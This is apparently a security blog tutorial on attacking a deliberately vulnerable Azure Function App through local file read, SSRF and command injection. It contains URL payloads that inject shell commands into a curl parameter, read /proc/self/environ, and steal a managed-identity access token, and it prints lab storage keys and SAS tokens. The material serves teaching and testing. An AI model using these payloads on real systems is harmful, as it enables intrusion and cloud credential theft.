Azure Function App Abuse
Azure Function Apps: discover and exploit vulnerabilities like LFI and SSRF to gain access to source code and environment variables. Tutorial and demo in Python.
In this post, I'm going to go over Azure Function Apps. Function Apps are the Azure equivalent to AWS Lambda functions, and serve as a means to execute a small piece of code without managing the infrastructure supporting that code being executed. For cloud environments, this is known as a server-less resource and can often be written in a wide range of languages. Today, I'm going to show what can happen with a very vulnerable Function App in the Azure cloud environment. All of the infrastructure for this post has been torn down, so don't try to follow along with what I've got below.
Requirements
If you want to try this out yourself, feel free to navigate over to the GitHub repository that I've setup for this article here. I've included instructions there on how to actually deploy it into your own Azure Tenant. This may not be free for you to do, but it will be pretty cheap as long as you take it down once you're done testing and limit your interactions with it. Throwing an automated vulnerability scanner like nuclei
at it would likely drive up the costs.
The Setup
So, in this scenario you have enumerated an endpoint being executed by a web application you have been tasked with assessing. The endpoint is https://531e0650a49b2be4eefa9da52b2bd974.azurewebsites.net/api/read?code=useO06QBZlynq49HpOjnb4eAZ-t61pAU7VYWxWIXZahwAzFuMxIQ8Q==&file=/tmp/license.txt
. We should already notice that it is an Azure cloud asset because of the azurewebsites.net
root domain. Navigating directly to the subdomain shows the following result:
So, we can safely assume that what we have encountered is an Azure Function App. What you should also notice here is the code
parameter being supplied. In this case, this is like an API key used to authorize the use of this Function App. This helps to prevent unauthorized executions of your Function App so that some meanie doesn't drive up your Azure bill.
Local File Read (LFI)
At first glance the parameter we caught during enumeration could be a candidate for a local file read vulnerability. How would we use this to our advantage though? Azure Function Apps are completely server-less, right? Well, yes. But, for the duration of execution, there is some system running this code. That means that if we have access to the system while the code is running, we may be able to retrieve particularly interesting information from it. One such piece of information is the source code for the Function App itself!
When Function Apps are deployed to be executed, the source code for the script being executed is stored on the temporary filesystem. For this example, we're using a Python script hosted on a Linux system. When looking for source code, it should be located in /home/site/wwwroot/<name_of_function>
. The name of the function should be given to you already in the URL. In this example the function is named read
. The default filename for a python script here is __init__.py
. Putting this all together we can pull the source code off of the system like so:
Server-Side Request Forgery (SSRF)
SSRF vulnerabilities in the cloud are particularly interesting not only because they potentially give away the contents of files on the system, but also because most, if not all, cloud resources are able to communicate with a special link-local IP address, 169.254.169.254
. This endpoint will provide to the cloud resource some metadata pertaining to its environment, network, and sometimes credentials. Depending on the resource you are attacking, the exact endpoints will differ. I'll show what can happen when you find an SSRF vulnerability within an Azure Function App.
In this scenario, you've enumerated yet another Azure Function App endpoint but this time the function is named fetch
and is potentially vulnerable to SSRF:
https://531e0650a49b2be4eefa9da52b2bd974.azurewebsites.net/api/fetch?code=scVYqaIuMbgOaWJ7LCmqvwsW-4W9UhY7NR6aVpP_UYa_AzFuL1FzSw==&url=https://www.codydmartin.com/robots.txt
Executing the function as is renders the following:
The first thing to try is an alternate protocol like file://
:
There we have it, an LFI vulnerability via SSRF. With the source code now available to us, we can see that our developer is just dumping the user supplied value into a curl
command. Of course, this is a horrible idea and is probably vulnerable to command injection but we'll ignore that for now. What else can we get our hands on with this SSRF vulnerability?
Something which I did not cover in the LFI section, but could have fit there as well, is that you can also read off the environment variables for the process you are in currently. These environment variables often contain interesting or useful information that could be used to further your analysis. In the picture below, you'll see the horribly formatted response when retrieving the /proc/self/environ
file:
So, what exactly is in here? With some tidying it'll be a little easier to inspect:
**<snip>**
AccountName=blogfunctionappsabu8a09;AccountKey=vMs1LLEjVixfQFPiJbwXC/nkYfeE4kyszUBaS5rp8v2X9n6MmOo+7QXVca4q3YB2DVTxPXfpLShe+AStNyDC6Q==;EndpointSuffix=core.windows.net
**<snip>**
APPSETTING_AzureWebJobsStorage=DefaultEndpointsProtocol=https;AccountName=blogfunctionappsabu8a09;AccountKey=vMs1LLEjVixfQFPiJbwXC/nkYfeE4kyszUBaS5rp8v2X9n6MmOo+7QXVca4q3YB2DVTxPXfpLShe+AStNyDC6Q==;EndpointSuffix=core.windows.net
**<snip>**
WEBSITE_HOSTNAME=531e0650a49b2be4eefa9da52b2bd974.azurewebsites.net
WEBSITE_CONTENTAZUREFILECONNECTIONSTRING=DefaultEndpointsProtocol=https;AccountName=blogfunctionappsabu8a09;AccountKey=vMs1LLEjVixfQFPiJbwXC/nkYfeE4kyszUBaS5rp8v2X9n6MmOo+7QXVca4q3YB2DVTxPXfpLShe+AStNyDC6Q==;EndpointSuffix=core.windows.net
**<snip>**
APPSETTING_WEBSITE_CONTENTAZUREFILECONNECTIONSTRING=DefaultEndpointsProtocol=https;AccountName=blogfunctionappsabu8a09;AccountKey=vMs1LLEjVixfQFPiJbwXC/nkYfeE4kyszUBaS5rp8v2X9n6MmOo+7QXVca4q3YB2DVTxPXfpLShe+AStNyDC6Q==;EndpointSuffix=core.windows.net
AzureWebJobsScriptRoot=/home/site/wwwroot
**<snip>**
APPSETTING_SCM_RUN_FROM_PACKAGE=https://blogfunctionappsabu8a09.blob.core.windows.net/scm-releases/scm-latest-531e0650a49b2be4eefa9da52b2bd974.zip?sv=2014-02-14&sr=b&sig=BtdpXgE3j%2BPKJgEyU6rerlUzgNMul9DcNtpXfaizrR8%3D&se=2033-01-14T00%3A27%3A12Z&sp=rw
**<snip>**
SCM_RUN_FROM_PACKAGE=https://blogfunctionappsabu8a09.blob.core.windows.net/scm-releases/scm-latest-531e0650a49b2be4eefa9da52b2bd974.zip?sv=2014-02-14&sr=b&sig=BtdpXgE3j%2BPKJgEyU6rerlUzgNMul9DcNtpXfaizrR8%3D&se=2033-01-14T00%3A27%3A12Z&sp=rw
There is a lot of information to parse, but there are two very interesting things to take note of. For multiple variables, you will find credentials that give you access to an Azure Storage Account. For instance, there are multiple instances of a Shared Access Signature (SAS) which will give you access to a specific blob:
APPSETTING_SCM_RUN_FROM_PACKAGE=https://blogfunctionappsabu8a09.blob.core.windows.net/scm-releases/scm-latest-531e0650a49b2be4eefa9da52b2bd974.zip?sv=2014-02-14&sr=b&sig=BtdpXgE3j%2BPKJgEyU6rerlUzgNMul9DcNtpXfaizrR8%3D&se=2033-01-14T00%3A27%3A12Z&sp=rw
This is not particularly impressive since the SAS token's permissions are restricted to blobs only. We won't be able to attach to the Blob Container itself or the account as a whole with that token.
Also included in these environment variables, on multiple occasions, is the connection string used for the Storage Account itself:
APPSETTING_AzureWebJobsStorage=DefaultEndpointsProtocol=https;AccountName=blogfunctionappsabu8a09;AccountKey=vMs1LLEjVixfQFPiJbwXC/nkYfeE4kyszUBaS5rp8v2X9n6MmOo+7QXVca4q3YB2DVTxPXfpLShe+AStNyDC6Q==;EndpointSuffix=core.windows.net
The variable above's value can be used in its entirety as a connection string when authenticating with Azure Storage Explorer to gain access to the Storage Account or Blob Container to enumerate for more secrets. When you are deploying a new Function App, you are allowed to choose where you would like to have your application stored. It's entirely possible to have these end up in a shared Storage Account with other Function Apps, or anything at all really. You could also use these credentials and have yourself "free" cloud storage on someone else's dime.
So, what about the infamous cloud metadata endpoint? Well, for Azure Function Apps this is not really relevant. The metadata service does exist for Azure but it is only made available to their infrastructure-as-a-service (IaaS) resources such as Virtual Machines. While we cannot interact with the metadata service, there is still another interesting possibility if you were to gain execution.
Command Injection
Alright, now for the fun part. Let's revisit the fetch
endpoint that was vulnerable to SSRF. As we saw once we pulled the source code, the function is taking user input and placing it into a curl
command without sanitizing the input first. We should be able to easily turn this into command injection:
https://531e0650a49b2be4eefa9da52b2bd974.azurewebsites.net/api/fetch?code=scVYqaIuMbgOaWJ7LCmqvwsW-4W9UhY7NR6aVpP_UYa_AzFuL1FzSw==&url=;id
The above request results with the very predictable output:
uid=1000(app) gid=1000(app) groups=1000(app)
Great, we have command injection. Now, if you're lucky, the Function App may be configured with a Managed Identity. These identities come in two forms. The first and recommended form is System Assigned. With System Assigned Identities, the identity is strictly tied to the resource it has been created for. It is not shared between resources, and is deleted when the resource is removed. Additionally, Microsoft handles that authentication process for the identity, so there is no need to enroll the identity with MFA or manage its password.
The second form of Managed Identities is User Assigned. This is when you create the identity yourself within Azure AD, and assign that identity to one or more resources. In this case, you are responsible for the security of the identity including its password management, authentication management, and separation of duties. If you are really lucky, you may find a vulnerable application using a User Assigned identity that has been given access to a wide number of resources within Azure.
Once we have command injection, just as with the SSRF vulnerability, we will want to look at the environment variables that have been set. There are two of great interest when you have command execution:
https://531e0650a49b2be4eefa9da52b2bd974.azurewebsites.net/api/fetch?code=scVYqaIuMbgOaWJ7LCmqvwsW-4W9UhY7NR6aVpP_UYa_AzFuL1FzSw==&url=;env
IDENTITY_HEADER=FA0409CADEC34DB4B4CEEEBE4F0D54D7
IDENTITY_ENDPOINT=http://localhost:8081/msi/token
If you see these variables defined, then you know that there has been an identity assigned to the Function App. These may also be referred to as MSI_ENDPOINT
and MSI_SECRET
. Let's start retrieving some tokens by sending over the following payload:
https://531e0650a49b2be4eefa9da52b2bd974.azurewebsites.net/api/fetch?code=scVYqaIuMbgOaWJ7LCmqvwsW-4W9UhY7NR6aVpP_UYa_AzFuL1FzSw==&url=;export%20A=$IDENTITY_ENDPOINT?api-version=2017-09-01%27%26%27resource=https://management.azure.com/%20;%20curl%20-v%20$A%20-H%20secret:$IDENTITY_HEADER
To break this down a bit, because we're dealing with Linux, curl
, and GET parameters, we needed to be a little crafty. We are creating a new environment variable A
which holds $IDENTITY_ENDPOINT?api-version=2017-09-01'&'resource=https://management.azure.com/
. We do this so we can properly seat the ampersand without cutting off the rest of the injected command. Supply the custom header and you will observe a response similar to:
{
"access_token": "eyJ0eXAiOi<snip>",
"expires_on": "01/23/2023 23:56:09 +00:00",
"resource": "https://management.azure.com/",
"token_type": "Bearer",
"client_id": "086b8db8-db6b-43b9-9354-7edd62cca4eb"
}
You can use this token to authenticate using the Az
PowerShell module or some other interesting resource. Note that the token is only valid for a limited amount of time so make use of it quickly. You can also swap out the resource for a wide range of other values to gain an access token for things like Key Vaults. I'll cover that in more depth another time.
If the Function App is not configured to use a Managed Identity, then we have likely enumerated all that we can. Interesting things to look out for would include further connection strings or authentication information included as part of the function's source code.